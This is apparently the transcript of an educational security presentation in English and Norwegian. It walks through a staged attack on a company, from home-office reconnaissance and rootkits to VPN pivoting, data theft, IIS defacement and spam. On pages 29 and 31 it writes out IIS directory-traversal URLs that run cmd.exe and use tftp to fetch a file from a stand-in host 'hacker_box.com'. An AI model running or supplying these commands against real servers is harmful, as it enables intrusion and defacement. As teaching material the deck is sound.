the attack

36
The attack Ronny Windvik Kjetil Mosesen

Upload: zanta

Post on 13-Jan-2016

138 views

Category:

Documents


0 download

DESCRIPTION

The attack. Ronny Windvik Kjetil Mosesen. Agenda. Security issues Scenario for the attack The attack. Attacker’s goal. ”We wish to attack an organisation and our aim is financial gain ”. All networks/computers are on the Internet. Anonymity on the Internet, TOR (The Onion Router). - PowerPoint PPT Presentation

TRANSCRIPT

Page 1: The attack

The attack

Ronny Windvik

Kjetil Mosesen

Page 2: The attack

Agenda

• Security issues

• Scenario for the attack

• The attack

Page 3: The attack

Attacker’s goal

All networks/computers are on the Internet

”We wish to attack an organisation and our aim is financial gain ”

Page 4: The attack

Anonymity on the Internet, TOR (The Onion

Router)

Page 5: The attack

Onion Routing

Onion Routing is a distributed overlay network designed to anonymize TCP-based applications like web browsing, secure shell, and instant messaging.

Clients choose a path through the network and build a circuit, in which each node (or “onion router” or “OR”) in the path knows its predecessor and successor, but no other nodes in the circuit.

Traffic flows down the circuit in fixed-size cells, which are unwrapped by a symmetric key at each node (like the layers of an onion) and relayed downstream.

• http://en.wikipedia.org/wiki/Onion_Routing

Page 6: The attack

Scenario

• Localisation of home office computers in the company– Is done through a proxy server and a webserver in Sweden

• Paying a script kiddie to install a rootkit on selected home computers?– Script kiddie: A person who attacks computer systems

using ready made scripts. – Uses an anonymous network: allows you to connect into our

network and do all your internet activities from our network. Think of it like coming into our "internet cafe" and using one of our computers. Anything you do does not reveal your identity because you are doing all your internet activities like web surfing from our computers, not yours

• The script kiddis uses a rootkit and an open VPN-tunnel in to the company for the attack

Page 7: The attack

Protection of the home computer

– Firewall• Router with Firewall and NAT

– Direct acess to the computer• Modem• Broadband router with no firewall

– In this case, the home computer can be accessed from the Internet

Page 8: The attack

Starting point

Page 9: The attack

The attack on a selected company

• Information collecting rendering e-mail addresses• Picking out internal and external IP-adresses

– Search for open unprotected services– Take over the home computer end install a rootkit

• Find teh VPN-connection to the company – Collect information in the company’s domain– Access confidential information/documents – for further

sale/blackmail– Take over a linux server in the company – send out Spam – Take over the company’s web server – Install rootkits wherever possible– Place evidence so the employer gets the blame

Page 10: The attack

Information collection

• Webpages• DNS• News groups• IP-range (www.ripe.net)• What we get:

– A set of valid e-mail addresses in the company– The IP-range– The Mappingen between IP-adresses and computer names

Page 11: The attack

Information is collected on the attacker’s web server

• Alle som åpner e-posten kontakter automatisk vår webtjener

• Innholder en logg med alle IP-adresser som besøker den

• Slår opp IP-adressene for å finne ut hvilke som tilhører bredbåndsleverandører

• Vet også hvilke brukernavn/e-postnavn som tilhører hvilke IP-adresse

[email protected] 192.168.44.23

[email protected] 10.0.0.1

[email protected] 192.168.56.3

[email protected] 192.168.32.6

Hjemme PC

Page 12: The attack

Information collection, IP-adresses

Page 13: The attack

Charting use of home PC

• Ønsker å finne ut når hjemme PC-en er i bruk– Utføres via proxy i Sverige

• Hver IP-pakke har et ”Identification” på 16-bit• Benyttes til å fragmentere/dele opp IP-pakker• Alle fragmenter av en IP-pakke med ID=X får også ID=X

ID = 1313

ID=1313 ID=1313 ID=1313ID=1313 ID=1313 ID=1313

ID = 1313

Page 14: The attack

Charting use of home PC

ADSL

0,000E+00

2,000E+08

4,000E+08

6,000E+08

8,000E+08

1,000E+09

1,200E+09

1,400E+09

00:00 04:48 09:36 14:24 19:12 00:00 04:48

Tid

Byt

es in

n e

stim

ert

Pakker fra/til ruter

Page 15: The attack

The script kiddie

• Benytter en script-kiddie til å ta over hjemme PC-en

• Script-kiddie jobber via anonymiseringsnettverket

• Hjemme PC-en er ikke beskyttet av en brannmur

Innleid hjelp

Page 16: The attack

Active information collection with NMAP

Innleid hjelp

Page 17: The attack

Nmap ("Network Mapper")

• Nmap ("Network Mapper") is a free open source utility for network exploration or security auditing.

• It was designed to rapidly scan large networks, although it works fine against single hosts.

• Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics.

• Nmap runs on most types of computers and both console and graphical versions are available.

• Nmap is free software, available with full source code under the terms of the GNU GPL.

Page 18: The attack

Active information collectionNetBIOS

• Avslører hvem som er logget inn og medlemskap i domene

Innleid hjelp

Page 19: The attack

Takes over home office client

Innleid hjelp

Page 20: The attack

Rootkits, leaving back doors

– Programs• Skjermsparere, fildelingsprogrammer, …• Java Scripts, Applets, Active X,...

– Modifiserte systemkommandoer • dir, ps, who, ifconfig, su, login, net, …

– Kernel rootkit• Lastbare kjernemoduler, (IPSec-modul)• Device drivere

Page 21: The attack

Installing a rootkit on the home computer

• The script kiddie installs a rootkit on the home computer

• Rootkit aktiveres ved å sende en ICMP-echo-reply eller -time– Åpner da en port for å gi tilgang til hjemme PC-en– Kan også sette hjemme PC-en til å kontakte oss– All trafikk er kryptert– Returnerer et cmd-vindu til oss

• Rootkit er passordbeskyttet og ikke synlig i noen logger på hjemme PC-en

• Den innleide script-kiddie er nå ferdig med sin del

Innleid hjelp

Page 22: The attack

Script-kiddie takes over home computer

Page 23: The attack

Sees a VPN-tunnel defined in Windows

Page 24: The attack

Tests VPN tunnel

Page 25: The attack

Damage done

• Har utnyttet tilliten til hjemmekontor PC-en i bedriften sitt domene

• Har samlet inn mye bedriftsinterne dokumenter

• Informasjonen kan selges til konkurrenter, aksjespekulanter eller andre som mulighet for utpressing

Page 26: The attack

Collecting document

Page 27: The attack

Attack on company’s web server

• Betingelser– Web-tjeneren/serveren er en Windows maskin

– Kjører Internet Information Server (IIS) (web-tjeneren til Microsoft)

– Har ikke installert patchene for feilene/sikkerhetshullene vi skal utnytte

Page 28: The attack

Security holes

1. Bug in IIS– Kan få kjørt de fleste programmer på web-tjeneren– Eksternt

2. Faulty access rights

Kan få kjørt programmer som Administrator– Lokalt

Page 29: The attack

Bug in IIS (BID 2708)

• Internet Information Services - a powerful Web server

• Hvordan få startet og kjørt programmer på web-tjeneren ?

• http://www/scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+ tftp –i hacker_box.com GET FIL.exe C:\temp\FIL.exe

• http://www/scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+ rename min-fil.htm C:\inetpub\wwwroot\default.htm

• http://www.hackingspirits.com/eth-hac/papers/iis_uni.html

Page 30: The attack

Faults in controlling access rights

• How to run programs as Administrator ?

• Utnytter en feil i hvordan prosesser/programmer internt i en Windows maskin kommuniserer

– Forenklet sagt spoofer vi også her avsenderen, ved å kjøre et program kalt HK.EXE

– For programmet som mottar, vil det alltid se ut som om det er et program med Administratorrettigheter som er avsender

Page 31: The attack

Changing the web server

www angriperStart tftp, og send med parameterene

tftp –i GET /tftp-dir/HK.exe c:\inetpub\wwwroot\HK.exe

Hk.exe Default.htm

Ulovlig innhold

Page 32: The attack

Changing the web server

www angriperKjør HK.exe (gir Administrator rettigheter)

Legg nedlastet fil som hjemmeside

Se på den nye hjemmesiden

Page 33: The attack

Changing the web server

Page 34: The attack

Attackin the comapny’s e-mail server

• E-posttjeneren viser seg å være sårbar for et Samba exploit• Gir oss root rettigheter

Page 35: The attack

Taking over e-mail server, sending SPAM

Page 36: The attack

What happened

• Kartlagt hjemmekontorbrukere for en utvalgt bedrift• Leid inn en script-kiddie til å overta hjemmekontor PC-en• Brukt tillit hjemmekontor PC-en har til å komme inn i bedriften• Samlet inn bedriftsinterne dokumenter• Overtatt webtjener og lagt ut ulovlig innhold• Overtatt e-posttjeneren og sendt ut mye SPAM

• Mye gjort via anonymiseringsnettverk• Men, ikke alt…